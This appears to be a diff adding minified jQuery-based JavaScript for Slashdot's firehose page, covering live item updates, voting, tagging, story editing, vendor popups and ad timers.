+sprite_rules=function(rules){var $test=$('<div style="display:none">').appendTo('body');(rules=slashcore.grep(rules,function(classAttr){return need_rule($test.attr('className',classAttr));}).join('\n'))&&$('<style type="text/css">'+rules+'</style>').appendTo('head');$test.remove();};use_sprites=function(root){$('div.maybe-sprite',root).each(function(){var $div=$(this).removeClass('maybe-sprite');$div.children('span.no-sprite').each(function(){need_rule($div)&&$div.attr('style',$(this).te [...]
+$(function(){reflect(firehose_settings.view);});$(document).bind('firehose-setting-view',function(e,view){reflect(view);});})();(function(){var NEXT_ID=1,NONE={id:-Infinity,rank:-Infinity,content:''},DISPLAYED=NONE,AVAILABLE={},$DISPLAY,HINT_RE=/-(mode|warning|error)$/,RANK={mode:2,warning:3,error:4},CLASS_FOR_RANK=['banner-rank','message-rank','mode-rank','warning-rank','error-rank'],RANK_CLASSES=CLASS_FOR_RANK.join(' ');function Message(o){var id=NEXT_ID++,hint;(TypeOf.scalar(o)||o.con [...]
+function display(){var best=NONE;slashcore.each(AVAILABLE,function(){(this.rank-best.rank||this.id-best.id)>0&&(best=this);});if(best!==DISPLAYED){$DISPLAY.html((DISPLAYED=best).content);$('#firehose-message-tray').removeClass(RANK_CLASSES).addClass(CLASS_FOR_RANK[best.rank]);}}
+Slash.message=function(o){$DISPLAY||(DISPLAYED=new Message({rank:0,key:'default',content:($DISPLAY=$('#firehose-message-tray')).show().children()}));return o&&(o=new Message(o))&&(display(),o.key);};Slash.clear_message=function(key){try{delete AVAILABLE[key]&&display();}catch(e){}};Slash.has_message=function(key){return!!AVAILABLE[key];};})();function addfhfilter(text){if(has_hose()){firehose_set_options('addfhfilter',text);return false;}
+return true;}
+function setfhfilter(text){if(has_hose()){firehose_set_options('setfhfilter',text);return false;}
+return true;}
+var firehose_set_options;(function(){var loading_msg={key:'loading',content:'<span class="loading_msg">Loading New Items...</span>'},removes_all=Qw.as_set('firehose_usermode mixedmode mode nocolors nothumbs section setfhfilter setsearchfilter tab view startdate issue'),start_over=$.extend(Qw.as_set('startdate color addfhfilter'),removes_all),uses_setfield=Qw.as_set('mixedmode nobylines nocolors nocommentcnt nodates nomarquee noslashboxes nothumbs'),sets_param=$.extend(Qw.as_set('color du [...]
+function add_to_fhfilter(text){var seen={};var finaltext=$.map($.trim((firehose_settings.fhfilter||'')+' '+text).split(ws),function(term){if(!(term in seen)){return seen[term]=term;}}).join(' ')
+firehose_settings.fhfilter=finaltext;set_filter_inputs(finaltext);}
+function set_filter_inputs(text){$('form[name=firehoseform] input[name=fhfilter], #searchquery').each(function(){this.value=text;});}
+firehose_set_options=function(name,value,context){if(name==='color'&&!value){return;}
+if(!logged_in&&name=="color"){show_login_box();return;}
+typeof(value)==='boolean'&&(value=sign(value));var params={};if(name==='setfhfilter searchfu'){name='setfhfilter';params.searchtriggered=1;}
+uses_setfield[name]&&(params.setfield=1);sets_param[name]&&(params[name]=value);flags_param[name]&&(params[flags_param[name]]=1);sets_directly[name]&&(firehose_settings[name]=value);sets_indirectly[name]&&(firehose_settings[sets_indirectly[name]]=value);resets_pagemore[name]&&(firehose_settings.page=firehose_settings.more_num=0);switch(name){case'fhfilter':set_fhfilter_from('form[name=firehoseform] input[name=fhfilter]');break;case'issue':firehose_settings.startdate=value;firehose_settin [...]
+if(start_over[name]){view($('body'),{speed:0});params.start_over=1;}
+if(removes_all[name]){$('div.paginate').hide().addClass('paginatehidden');$fhl.fadeOut().html('');$('#itemsreturned').html('');}
+ajax_update($.extend({op:'firehose_set_options',reskey:reskey_static,setting_name:name,context:context,section:firehose_settings.section},params,firehose_settings),'',update_handlers);$(document).trigger('firehose-setting-'+name,value);};})();function firehose_fix_up_down(id,new_state){var $updown=$any('updown-'+id);if($updown.length&&!$updown.hasClass(new_state)){$updown.setClass(new_state);}}
+(function(){var CLASS_FOR_VOTE={nod:'votedup',metanod:'votedup',nix:'voteddown',metanix:'voteddown',none:'vote'};$(document).bind('vote-assigned',function(event,vote){firehose_fix_up_down($(event.target).attr('id').replace(FHID_PREFIX,''),CLASS_FOR_VOTE[vote||'none']);});})();function firehose_click_nodnix_reason(event){var $fhitem=$(event.target).closest('.fhitem'),fhid=$fhitem.attr('id').replace(FHID_PREFIX,'');if((fh_is_admin||firehose_settings.metamod)&&($any('updown-'+fhid).is('.vot [...]
+return true;}
+function firehose_remove_tab(tabid){setFirehoseAction();ajax_update({op:'firehose_remove_tab',tabid:tabid,reskey:reskey_static,section:firehose_settings.section},'',{onComplete:json_handler});}
+var $related_trigger=$().filter();var kExpanded=true,kCollapsed=false;function tag_ui_in($fhitem){var $toolbar=$fhitem.find('menu.edit-bar'),$twisty=$toolbar.find('a.edit-toggle span.button');return{$toolbar:$toolbar,$input:$toolbar.find('input.tag-entry'),$toggle:$twisty,is_expanded:$twisty.is('.expand')};}
+function firehose_toggle_tag_ui_to(want_expanded,el,dont_next){var $fhitem=$(el).closest('.fhitem'),fhid=$fhitem.attr('id').replace(FHID_PREFIX,''),tag_ui=tag_ui_in($fhitem),toggle=tag_ui.is_expanded==!want_expanded;if(toggle){if(want_expanded){if($fhitem.find('div[id^=fhbody-]').is('.empty,.hide')){toggle_firehose_body($fhitem,0,true,dont_next);$fhitem.data('tags-opened-body',true);}}
+setFirehoseAction();want_expanded&&Tags.fetch($fhitem[0]);tag_ui.$toolbar.toggleClass('expanded',!!want_expanded);tag_ui.$input.toggle(!!want_expanded);tag_ui.$toggle.setClass(applyToggle({expand:want_expanded,collapse:!want_expanded}));$fhitem.find('#toggletags-body-'+fhid).setClass(applyToggle({tagbody:want_expanded,tagshide:!want_expanded}));if(!want_expanded&&$fhitem.data('tags-opened-body')){toggle_firehose_body($fhitem,0,false);$fhitem.removeData('tags-opened-body');}
+after_article_moved($fhitem[0]);}
+want_expanded&&view(tag_ui.$input,{hint:$fhitem,focus:true,speed:50});return tag_ui.$toolbar;}
+function firehose_toggle_tag_ui(el){var $fhitem=$(el).closest('.fhitem');firehose_toggle_tag_ui_to(!tag_ui_in($fhitem).is_expanded,$fhitem);}
+var search_eligible;(function(){var context_search_eligible={user:true,top:true,system:true};search_eligible=function(tag_el){var $li=$(tag_el).closest('li'),context=$li.closest('span.tag-display').attr('context')||'unknown';return context_search_eligible[context]&&$li.is(':not(.p,.w,.b,.suggestion)');};})();function user_intent(intent,data){intent&&$(document).trigger('user-intent-'+intent,data);}
+function shift_select(el){var $fhitems=$('article.fhitem:visible'),id=$(el).closest('.fhitem').attr('id'),$bounds=$('article.currfh,#'+id),start_idx=$fhitems.index($bounds[0]),stop_idx=$fhitems.index($bounds[$bounds.length-1]);$fhitems.slice(start_idx,stop_idx+1).addClass('currfh');}
+function apply_tags(item,tags,shift_key){var $target=$(item);fh_is_admin&&$target.is('.currfh')&&shift_key&&($target=$('article.fhitem.currfh:visible'));$target.each(function(){Tags.submit(this,tags);});}
+$(function(){var PREFIX=/^user-intent-/;function interest(event,item,original_event){if(!item){}else if(!fh_is_admin||!original_event||!original_event.shiftKey){firehose_set_cur($(item),(event.type||'').replace(PREFIX,''));}else{shift_select(item);}
+setTimeout(function(){inlineAdFirehose();},0);}
+$(document).bind('user-intent-interest',interest).bind('user-intent-control',interest);});function page_click_handler(event){var $target=$(event.target),$fhitem=$target.closest('.fhitem'),leaving=!!$target.closest('a[href]:not([href=#],[onclick],[rel=tag]),.advertisement').length,control=!leaving&&!!$target.closest('menu,a,[data-intent-control]').length,intent=!leaving&&(control?'control':'interest'),command,click_handled=false;$related_trigger=$target;if($target.is('a.up')){command='nod [...]
+if(leaving){user_intent(intent);}else{user_intent(intent,[$fhitem[0],event]);setTimeout(function(){inlineAdFirehose();},0);}
+if(command&&(click_handled=true)&&check_logged_in()){apply_tags($fhitem[0],command,event.shiftKey);}
+return!click_handled;}
+function firehose_handle_nodnix(commands){if(commands.length){var fhitem=this;$.each(commands.slice(0).reverse(),function(i,cmd){if(cmd=='nod'||cmd=='nix'){firehose_fix_up_down(fhitem.getAttribute('data-fhid'),{nod:'votedup',nix:'voteddown'}[cmd]);return false;}});}
+return commands;}
+function firehose_handle_comment_nodnix(commands){if(commands.length){var fhitem=this,handled_underlying=false;commands=$.map(commands.reverse(),function(cmd){var match=/^([\-!]*)(nod|nix)$/.exec(cmd);if(match){var modifier=match[1],vote=match[2];cmd=modifier+'meta'+vote;if(!handled_underlying&&!modifier){var id=fhitem.getAttribute('data-fhid');firehose_fix_up_down(id,{nod:'votedup',nix:'voteddown'}[vote]);firehose_collapse_entry(id);handled_underlying=true;}}
+return cmd;}).reverse();}
+return commands;}
+$(function(){var $FHL=$any('firehoselist');$.browser.chrome=$.browser.safari&&/chrome/.test(navigator.userAgent.toLowerCase());$('#fhsearch').show();if(!firehose_smallscreen){var $roots=$('div.fhroot');($roots.length?$roots:$('div.article')).click(page_click_handler);}
+$('#firehoselist > article.fhitem').live('blur-article',function(){var $fhitem=$(this);if($fhitem.data('blur-closes-item')){toggle_firehose_body($fhitem,0,false,true);}else if($fhitem.data('blur-closes-tags')){firehose_toggle_tag_ui_to(false,$fhitem,true);}
+$fhitem.removeData('blur-closes-item').removeData('blur-closes-tags');}).live('focus-article',function(){var $fhitem=$(this);$fhitem.data('blur-closes-tags',!tag_ui_in($fhitem).is_expanded).data('blur-closes-item',$fhitem.find('[id^=fhbody-]').is('.empty,.hide'));});});var update_firehose_content;(function(){var MARK_ADDING='data-add-ready',MARK_REMOVING='data-remove-ready',MAX_OFFSCREEN_CHUNK=5,CHANGES_RE=/\bdata-(add|remove)-ready\b/;var D=document,U=void(0),$FHL,FHL;$(function(){$FHL= [...]
+Run.prototype={head:function(){return this._run[0];},lhead:function(){return this.head();},headId:function(){return(this.lhead()||{}).id;},tail:function(){var len=this._run&&this._run.length;return len&&this._run[len-1];},ltail:function(){return this.tail();},tailId:function(){return(this.ltail()||{}).id;},_manip:function(parent,next){var el=next;while(el&&el.nodeType!==1){el=el.nextSibling;}
+if(!el){this.appendTo(parent);}else if(el!==this.head()){this.insertBefore(next);}
+return this;},prependTo:function(parent){return this._manip(parent,parent.firstChild);},insertBefore:function(next){this.tail().nextSibling!==next&&$(this._run).insertBefore(next);return this;},insertAfter:function(prev){return this._manip(prev.parentNode,prev.nextSibling);},appendTo:function(parent){var tail=this.tail();(tail.parentNode!==parent||tail.nextSibling)&&$(this._run).appendTo(parent);return this;}};function DocumentRun(){this._run=[];return this;};DocumentRun.prototype=$.exte [...]
+return this;}});function DocumentFragmentRun(){this._fragment=D.createDocumentFragment();this._run=this._fragment.childNodes;return this;}
+DocumentFragmentRun.prototype=$.extend(new Run,{push:function(el){this._fragment.appendChild(el);return this;},insertBefore:function(next){next.parentNode.insertBefore(this._fragment,next);},insertLast:function(parent){parent.appendChild(this._fragment);}});function insert_runs_after(prev_run,runs){var next_run,tail_id,after_el;while(prev_run&&(tail_id=prev_run.tailId())&&(next_run=runs[tail_id])){next_run.insertAfter(prev_run.tail())
+prev_run=next_run;}}
+function prepare(html){return $(html).addClass(MARK_ADDING).css('display','none')[0];}
+update_firehose_content=function(updates,sequence){if(!(updates&&updates.length||sequence&&sequence.length)){return;}
+Slash.busy('firehose-content',true);var adding={};var removing_sx=$.map(updates,function(update){var op=update[0],fhid=update[1],html=update[2];switch(!!fhid&&op){case'remove':return'#firehose-'+fhid;case'add':adding[fhid]=prepare(html);}}).join(',');$(removing_sx,FHL).addClass(MARK_REMOVING);var loose_runs={},run,elid_before={},prev_elid=0;$.each(sequence,function(i,fhid){var item=adding[fhid];if(item){run||(run=loose_runs[prev_elid]=new DocumentFragmentRun());run.push(item);}else{run=U;}
+var elid='firehose-'+fhid;elid_before[elid]=prev_elid;prev_elid=elid;});var i=0,$fhitems=$FHL.children(),el=$fhitems[i],sequence_known=el&&el.id in elid_before,i2ad_pos=$fhitems.index($('#floating-slashbox-ad',FHL)),fixed_run;i2ad_pos<0&&(i2ad_pos=Infinity);while(el){run=new DocumentRun();prev_elid=U;do{sequence_known&&(prev_elid=el.id);run.push(el,sequence_known);}while((el=$fhitems[++i])&&(!(sequence_known=el.id in elid_before)||prev_elid===U||elid_before[el.id]===prev_elid));if(i>i2ad [...]
+(run=loose_runs[0])&&insert_runs_after(run.prependTo(FHL),loose_runs);fixed_run&&insert_runs_after(fixed_run,loose_runs);use_sprites(FHL);Slash.busy('firehose-content',false);}})();(function(){var INIT_INTERVAL=400,$fhroots,timer;function step(){var $items=firehose_init_note_flags(1);if(!$item.length){clearInterval(timer);timer=0;}}
+fh_is_admin&&$(document).bind('firehose-content-end',function(){timer||(timer=setInterval(step,INIT_INTERVAL));});$(function(){$fhroots=$('div.fhroot');});})();function user_wants_updates(when){setFirehoseAction();apply_updates();Slash.clear_message('updates-available');when&&check_logged_in()&&apply_updates_when(when);}
+var apply_updates_when,apply_updates,updates_available,debug_ask,slashCMfn;(function(){var $FHL,INSERT_SX='article.data-add-ready',REMOVE_SX='article.data-remove-ready:not(.currfh)',NEW_SX='article.fhitem.data-add-ready:hidden',OLD_SX='article.fhitem:not(.data-add-ready,.data-remove-ready:not(.currfh)):last',APPLY_WHEN='at-end',NUMBERS=['No','A','Two','Three','Four','Five','Six','Seven','Eight','Nine'];apply_updates_when=function(when,init){APPLY_WHEN=when;init||ajax_update({op:'firehose [...]
+'<a href="#" onclick="user_wants_updates(); return false" title="update now">'+
+(NUMBERS[n]||n)+how[0]+kind[(n!==1)/1]+how[1]+
+'</a>'+
+' '+
+'<a href="#" onclick="user_wants_updates(\'always\'); return false" title="always update, never ask">'+
+'(Automatically Update)'+
+'</a>'+
+'</p>'});}}
+updates_available=function(n){var $last,$tail=true,$remaining;APPLY_WHEN==='at-end'&&($last=$FHL.children(OLD_SX)).length&&($tail=$last.nextAll());APPLY_WHEN!=='never'&&apply_updates($tail,$tail);($remaining=$FHL.children(NEW_SX)).length&&ask($remaining);};$(function(){$FHL=$any('firehoselist');});})();function firehose_handle_update(updates,sequence){var saved_selection=new $.TextSelection(gFocusedText),$menu=$('div.ac_results:visible'),$fhl=$any('firehoselist'),add_behind_scenes=Slash. [...]
+Slash.busy('firehose-update',false);fh_pag_update();firehose_add_update_timerid(setTimeout(firehose_get_updates,getFirehoseUpdateInterval()));saved_selection.restore().focus();$menu.show();}
+function firehose_storyfuture(future){var if_not=['h2.future','h2.story'],class_if=['story','future'];return $('div.fhroot>article.fhitem').each(function(){var is_future=sign(future[this.id.replace(FHID_PREFIX,'')]);$(this).find(if_not[is_future]).attr('className',class_if[is_future]);});}
+function firehose_update_title_count(num){var newtitle;var end;var sectionname="";if(firehose_settings.sectionname!="Main"){sectionname=" "+firehose_settings.sectionname;}
+if(!num){num=$('div.fhroot>article.fhitem').length;}
+if(num>0){end=" ("+num+")";}else{end=" "+firehose_slogan;}
+if(firehose_settings.viewtitle=='Stories'){newtitle=firehose_sitename+": "+firehose_slogan;}else if(firehose_settings.viewtitle=='Daddypants'){newtitle=firehose_sitename+sectionname+" "+firehose_settings.viewtitle+end;}else if(firehose_settings.viewtitle=='Recent'||firehose_settings.viewtitle=='Popular'){if(num){newtitle=num+" ";}
+newtitle=newtitle+firehose_settings.viewtitle+" "+firehose_sitename+" "+sectionname+" Submissions";}else{newtitle=firehose_sitename+sectionname+" "+firehose_settings.viewtitle+end;}
+document.title=newtitle;}
+(function(){var $D=$(document),$B,depth={},ROOT_RE=/^[^-]+(?=-)/,EVENT=['-end','-begin'];var $IB={};$IB["ajax"]=false;$IB["firehose-ajax"]=false;$IB["firehose"]=false;$IB["firehose-update"]=false;function busy(k,more,for_root){var N=depth[k]||0,was_busy=N>0,now_busy;if(arguments.length>1){if(TypeOf.number(more)==='number'){more===0&&(more=-N);}else{more=sign(more)||-1;}
+(N+=more)?depth[k]=N:delete depth[k];now_busy=N>0;Slash.markBusy(k,now_busy);!for_root&&was_busy!==now_busy&&$D.trigger(k+EVENT[sign(now_busy)]);}
+return was_busy;}
+Slash.busy=function(k,more){var was_busy=busy.apply(null,arguments),m;arguments.length>1&&(m=ROOT_RE.exec(k))&&busy(m[0],more,true);return was_busy;};Slash.markBusy=function(k,state){var was_busy=$IB[k];var now_busy=!!state||arguments.length<2&&depth[k]>0;if(was_busy!==now_busy){$("div.busy.genericspinner").toggle();$IB[k]=!$IB[k];}
+return was_busy;};})();$(function(){$(document).ajaxStart(function(){Slash.markBusy('ajax',true);}).ajaxStop(function(){Slash.markBusy('ajax',false);});});function dynamic_blocks_list(){var boxes=$('#slashboxes article header').map(function(){return this.id.slice(0,-6);}).get().join(',');return boxes;}
+function dynamic_blocks_update(blocks){$.each(blocks,function(k,v){if(k==='userbio_self'){$('#'+k).html(v.block);}else{$('#'+k+'-title h2').replaceWith('<h2>'+(v.url?'<a href="'+v.url+'">'+v.title+'</a>':v.title)+'</h2>');v.block&&$any(k+'-content').html(v.block);}});}
+function dynamic_blocks_delete_message(val,type){var params={};params.op='dynamic_blocks_delete_message';params.val=val;params.reskey=reskey_static;if(type==='user_bio_messages'){params.user_bio_messages=1;params.strip_list=1;}
+ajax_update(params,'',{onComplete:function(transport){var response=eval_response(transport);var block_content='';if(response!=undefined){block_content=response.block;}
+$('#userbio_self-messages').html(block_content);if((block_content==='')||(response===undefined)){$('#userbio_self-messages-begin').hide();}}});}
+function firehose_toggle_picker_search(){var params={};params.op='firehose_toggle_picker_search';params.reskey=reskey_static;ajax_update(params,'',{onComplete:function(){$('#fh_filtercontrol_toggle').hide();$('#fh_picker_search').show();$('#hd').removeClass('nofilter');$('#fh_simpledesign_toggle').show();}});}
+function firehose_toggle_smallscreen_mode(force_ss,is_anon){if(force_ss){var uri=document.location.search;var base=document.location.href.replace(/\?.*/,'');if(is_anon==1){if(uri.match("ss=1")){uri=uri.replace(/ss=1/,"ss=0");}else{if(uri.match(/\?/)){uri=uri+'&ss=0';}else{uri='?ss=0';}}}else{uri=uri.replace(/\&?ss=1/,"");if(uri==='?'){uri='';}
+uri=uri.replace(/^\?\&/,'?');}
+document.location=(base+uri);}else{var params={};params.op='firehose_toggle_smallscreen_mode';params.reskey=reskey_static;ajax_update(params,'',{onComplete:function(){document.location=document.URL;}});}}
+function firehose_toggle_simpledesign_mode(force_sd,is_anon){if(force_sd){var uri=document.location.search;var base=document.location.href.replace(/\?.*/,'');if(is_anon==1){if(uri.match("sd=1")){uri=uri.replace(/sd=1/,"sd=0");}else{if(uri.match(/\?/)){uri=uri+'&sd=0';}else{uri='?sd=0';}}}else{uri=uri.replace(/\&?sd=1/,"");if(uri==='?'){uri='';}
+uri=uri.replace(/^\?\&/,'?');}
+document.location=(base+uri);}else{var params={};params.op='firehose_toggle_simpledesign_mode';params.reskey=reskey_static;ajax_update(params,'',{onComplete:function(){document.location=document.URL;}});}}
+function setSlashCMCallback(callback){slashCMfn=callback;}
+function slashCM(params){if(slashCMfn){slashCMfn(params);}}
+function firehose_get_updates_handler(transport){var response=eval_response(transport);if(!response){return;}
+firehose_future=response.future;var updated_tags=response.update_data.updated_tags;updated_tags&&$.each(updated_tags,function(id,content){$('#tagbar-'+id).html(content);});response.dynamic_blocks&&dynamic_blocks_update(response.dynamic_blocks);response.html&&json_update(response);response.sprite_rules&&sprite_rules(response.sprite_rules);response.updates&&firehose_handle_update(response.updates,response.ordered);if(firehose_settings.updateTypeCM){slashCM({updateType:firehose_settings.upd [...]
+function firehose_get_item_idstring(){return $('#firehoselist > [id]').map(function(){return this.id.replace(/firehose-(\S+)/,'$1');}).get().join(',');}
+function firehose_get_updates(options){options=options||{};if((fh_play===0&&!options.oneupdate)||Slash.busy('firehose-ajax')){firehose_add_update_timerid(setTimeout(firehose_get_updates,2000));return;}
+if(fh_update_timerids.length>0){var id=0;while((id=fh_update_timerids.pop())){clearTimeout(id);}}
+Slash.busy('firehose-update',true);Slash.busy('firehose-ajax',true);ajax_update($.extend({op:'firehose_get_updates',ids:firehose_get_item_idstring(),updatetime:update_time,fh_pageval:firehose_settings.pageval,embed:firehose_settings.is_embedded,dynamic_blocks:dynamic_blocks_list()},firehose_settings),'',{onComplete:function(transport){Slash.busy('firehose-ajax',false);firehose_get_updates_handler(transport);$any("#firehoselist").show();},onError:firehose_updates_error_handler});}
+function firehose_updates_error_handler(xhr,status){Slash.busy('firehose-update',false);$('.daddypants-view #firehose-message-tray').show();fh_is_admin&&Slash.message({key:'update-error',content:'<p><a href="#" onclick="firehose_reinit_updates()">[Admin] Slashdot update failed'
++(status&&status!=='error'?' ("'+status+'")':'')
++'. Click to retry.</a></p>'});}
+function setFirehoseAction(){var thedate=new Date();var newtime=thedate.getTime();firehose_action_time=newtime;if(fh_is_timed_out){fh_is_timed_out=0;firehose_play();firehose_get_updates();if(console_updating){console_update(1,0);}}}
+function getSecsSinceLastFirehoseAction(){var thedate=new Date();var newtime=thedate.getTime();var diff=(newtime-firehose_action_time)/1000;return diff;}
+function getFirehoseUpdateInterval(){var update_speed=1;if(firehose_settings.view=="daddypants"||firehose_settings.view=="recent"){update_speed=2;}
+var interval=update_speed==2?45000:1200000;if(updateIntervalType==1){interval=update_speed==2?30000:800000;}
+if(update_speed==2){interval=interval+(5*interval*getSecsSinceLastFirehoseAction()/inactivity_timeout);if(getSecsSinceLastFirehoseAction()>inactivity_timeout){interval=3600000;}}else{interval=1200000;if(getSecsSinceLastFirehoseAction()>7200){interval=1800000;}else if(getSecsSinceLastFirehoseAction()>10800){interval=3600000;}}
+return interval;}
+function start_up_hose(){firehose_set_options('pause',false);}
+function firehose_play(context){fh_play=1;var wait=0;if(context&&context=="init"){wait=getFirehoseUpdateInterval();}
+setFirehoseAction();if(context&&context=="init"){setTimeout(start_up_hose,wait);}else{firehose_set_options('pause',false,context);}
+$any('message_area').html('');$any('pauseorplay').html('Updated');$any('play').setClass('hide');$any('pause').setClass('show');}
+function firehose_pause(context){fh_play=0;$any('pause').setClass('hide');$any('play').setClass('show');$any('pauseorplay').html('Paused');firehose_set_options('pause',true,context);}
+function firehose_add_update_timerid(timerid){fh_update_timerids.push(timerid);}
+function firehose_collapse_entry(id){$('#firehoselist > #firehose-'+id).find('#fhbody-'+id+'.body').setClass('hide').end().removeClass('article').addClass('briefarticle');tagsHideBody(id);}
+function firehose_remove_entry(id){$('#firehose-'+id).animate({height:0,opacity:0},500,function(){after_article_moved(this);$(this).remove();});}
+var firehose_cal_select_handler=function(type,args,obj){var selected=args[0];firehose_settings.issue='';firehose_set_options('startdate',selected.startdate);firehose_set_options('duration',selected.duration);};function firehose_swatch_color(){}
+function firehose_change_section_anon(section){window.location.href=window.location.protocol+"//"+window.location.host+"/firehose.pl?section="+encodeURIComponent(section)+"&tabtype=tabsection";}
+function pausePopVendorStory(id){vendor_popup_id=id;closePopup('vendorStory-26-popup');vendor_popup_timerids[id]=setTimeout(vendorStoryPopup,500);}
+function clearVendorPopupTimers(){clearTimeout(vendor_popup_timerids[26]);}
+function vendorStoryPopup(){id=vendor_popup_id;var title="<a href='//intel.vendors.slashdot.org' onclick=\"javascript:pageTracker._trackPageview('/vendor_intel-popup/intel_popup_title');\">Intel's Opinion Center</a>";var buttons=createPopupButtons("<a href=\"#\" onclick=\"closePopup('vendorStory-"+id+"-popup')\">[X]</a>");title=title+buttons;var closepopup=function(e){if(!e){e=window.event;}
+var relTarg=e.relatedTarget||e.toElement;if(relTarg&&relTarg.id=="vendorStory-26-popup"){closePopup("vendorStory-26-popup");}};createPopup('sponsorlinks',title,"vendorStory-"+id,"Loading","",closepopup);var params={};params.op='getTopVendorStory';params.skid=id;ajax_update(params,"vendorStory-"+id+"-contents");}
+function pausePopVendorStory2(id){vendor_popup_id=id;closePopup('vendorStory-26-popup');vendor_popup_timerids[id]=setTimeout(vendorStoryPopup2,500);}
+function vendorStoryPopup2(){id=vendor_popup_id;var title="<a href='//intel.vendors.slashdot.org' onclick=\"javascript:pageTracker._trackPageview('/vendor_intel-popup/intel_popup_title');\">Intel's Opinion Center</a>";var buttons=createPopupButtons("<a href=\"#\" onclick=\"closePopup('vendorStory-"+id+"-popup')\">[X]</a>");title=title+buttons;var closepopup=function(e){if(!e){e=window.event;}
+var relTarg=e.relatedTarget||e.toElement;if(relTarg&&relTarg.id=="vendorStory-26-popup"){closePopup("vendorStory-26-popup");}};createPopup('sponsorlinks',title,"vendorStory-"+id,"Loading","",closepopup);var params={};params.op='getTopVendorStory';params.skid=id;ajax_update(params,"vendorStory-"+id+"-contents");}
+function logToDiv(id,message){$any(id).append(message+'<br>');}
+function firehose_open_tab(id){$any('tab-form-'+id).removeClass();$any('tab-input-'+id).focus();$any('tab-text-'+id).setClass('hide');}
+function firehose_save_tab(id){var $tab=$any('fhtab-'+id),new_name=$tab.find('#tab-input-'+id).val(),$title=$tab.find('#tab-text-'+id),$saved=$title.children().remove();$title.text(new_name).append($saved);ajax_update({op:'firehose_save_tab',tabname:new_name,section:firehose_settings.section,tabid:id},'',{onComplete:json_handler});$tab.find('#tab-form-'+id).setClass('hide');$title.removeClass();}
+function firehose_get_media_popup(id){$any('preference_title').html('Media');$('#modal_box').removeClass('no_scrollbars');show_modal_box();$any('modal_box_content').html("<h4>Loading...</h4><img src='//a.fsdn.com/sd/spinner_large.gif'>");ajax_update({op:'firehose_get_media',id:id},'modal_box_content');}
+function firehose_reinit_updates(){firehose_add_update_timerid(setTimeout(firehose_get_updates,5000));Slash.clear_message('update-error');$('.daddypants-view #firehose-message-tray').hide();}
+function show_submit_box(id,type){var params={};if(id){params['from_id']=id;}
+if(type){params['type']=type;}
+getModalPrefs('submit','Submit',0,params);}
+function show_submit_box_after(from_id,type){$('body').addClass('inline_editor_active')
+$('#editor').remove();var params={op:'edit_submit_box_after',reskey:reskey_static};if(from_id){params['from_id']=from_id;}
+if(type){params['type']=type;}
+$('#firehose-'+from_id).fadeTo("slow",0.5);ajax_update(params,'',{onComplete:json_handler});}
+function close_inline_editor(){$('.edithidden').show().removeClass('edithidden').fadeTo('fast',1);$('#editor').hide('slow').remove();}
+function edit_editon(id,type,label){$('#firehose-'+id).hide();$('.editonly').removeClass('hide');$('.previewonly').addClass('hide');$('#editor').removeClass('step2').addClass('step1');Tags.fetch($('#editor'));$('#extra-warnings').addClass('hide');if(type!==""&&type!==undefined&&label!==""&&label!==undefined){$(type+"[name='"+label+"']").focus();}}
+function editPreview(save){$('#edit-busy').toggle();$("form#slashstoryform .default").attr('value','');var elems=$('#slashstoryform').serializeArray();var params={};var multi={};$.map(elems,function(el){if(multi[el.name]===undefined){multi[el.name]=0;}else{multi[el.name]++;}});$.map(elems,function(el){if(multi[el.name]){if(!params[el.name])
+params[el.name]=[];params[el.name].push(el.value);}else{params[el.name]=el.value;}});if(save){var d=new Date;params['submit_time']=d.getTime();}
+params['op']=save?'edit_save':'edit_preview';ajax_update(params,'',{onComplete:json_handler});}
+function editSave(){editPreview(1);}
+function submit_reset(id,state,type){$('#edit-busy').toggle();var params={'op':'edit_reset','new':1};if(id&&state=='inline'){params['from_id']=id;}
+if(state){params['state']=state;}
+if(type){params['type']=type;}
+ajax_update(params,'',{onComplete:json_handler});}
+function submit_cancel(){$('body').removeClass('inline_editor_active');$('#edit-busy').toggle();try{hide_modal_box();}catch(e){}
+close_inline_editor();}
+function toggle_filter_prefs(){$('#filter_play_status, #filter_prefs').toggleClass('hide');}
+function firehose_get_cur(){return $('#firehoselist > article.fhitem.currfh');}
+function firehose_get_first(){return $('#firehoselist > article.fhitem:first');}
+function firehose_set_cur($new_current,intent){if(!$new_current||!$new_current.length)
+$new_current=firehose_get_first();$new_current=$new_current.eq(0);if($new_current.is('.currfh'))
+return $new_current;var $old_current=$new_current.siblings('article.fhitem.currfh'),event_data={blurring:$old_current,focusing:$new_current};$old_current.each(function(){$(this).trigger('blur-article',event_data).removeClass('currfh');});$new_current.addClass('currfh').
+trigger('focus-article',event_data);if(!intent||intent==='interest'){var viewhint=false,$fhitems=$('#firehoselist>article.fhitem'),pos=$fhitems.index($new_current);if(pos==0){viewhint=$('body');}else if(pos==$fhitems.length-1){viewhint=$any('div#fh-paginate');}
+view($new_current,{hint:viewhint,speed:50});}
+return $new_current;}
+function firehose_go_next($current){$current=$current||firehose_get_cur();if(fh_is_admin&&$current.length>1){return;}
+$current=$current.eq($current.length-1);var $next=$current.nextAll('article.fhitem:first');if($next[0]||!$current[0]){return firehose_set_cur($next);}else{view($current,{hint:$any('div#fh-paginate')});firehose_more();}}
+function firehose_go_prev($current){$current=$current||firehose_get_cur();if(fh_is_admin&&$current.length>1){return;}
+$current=$current.eq(0);return firehose_set_cur($current.prevAll('article.fhitem:first'));}
+function firehose_more(noinc){if(!noinc){firehose_settings.more_num=firehose_settings.more_num+firehose_more_increment;_gaq.push(['_trackEvent','Firehose','FirehoseMore',firehose_settings.more_num.toString()]);_gaq.push(['b._trackEvent','Firehose','FirehoseMore',firehose_settings.more_num.toString()]);}
+if($.browser.msie){var version=parseInt($.browser.version);if(version<=8){return true;}}
+if(((firehose_item_count+firehose_more_increment)>=200)&&!fh_is_admin){$any('firehose_more').hide();}
+if(firehose_user_class){firehose_set_options('more_num',firehose_settings.more_num);}else{firehose_get_updates({oneupdate:1});}
+inlineAdFirehose();return false;}
+function firehose_section_menu_item(section_id){var id='fhsection-'+section_id;return section_id&&$('#links-sections-title,#'+id).filter(function(){return this.id===id||$(this).metadata().id==section_id;});}
+function getSeconds(){return new Date().getTime()/1000;}
+function nojscall(f){try{f();}catch(e){}
+return false;}
+var adTimerSeen={};var adTimerSecs=0;var adTimerClicks=0;var adTimerInsert=0;function inlineAdReset(id){if(id!==undefined)
+adTimerSeen[id]=2;adTimerSecs=getSeconds();adTimerClicks=0;adTimerInsert=0;}
+function inlineAdClick(id){adTimerClicks=adTimerClicks+1;}
+function inlineAdInsertId(id){if(id!==undefined)
+adTimerInsert=id;return adTimerInsert;}
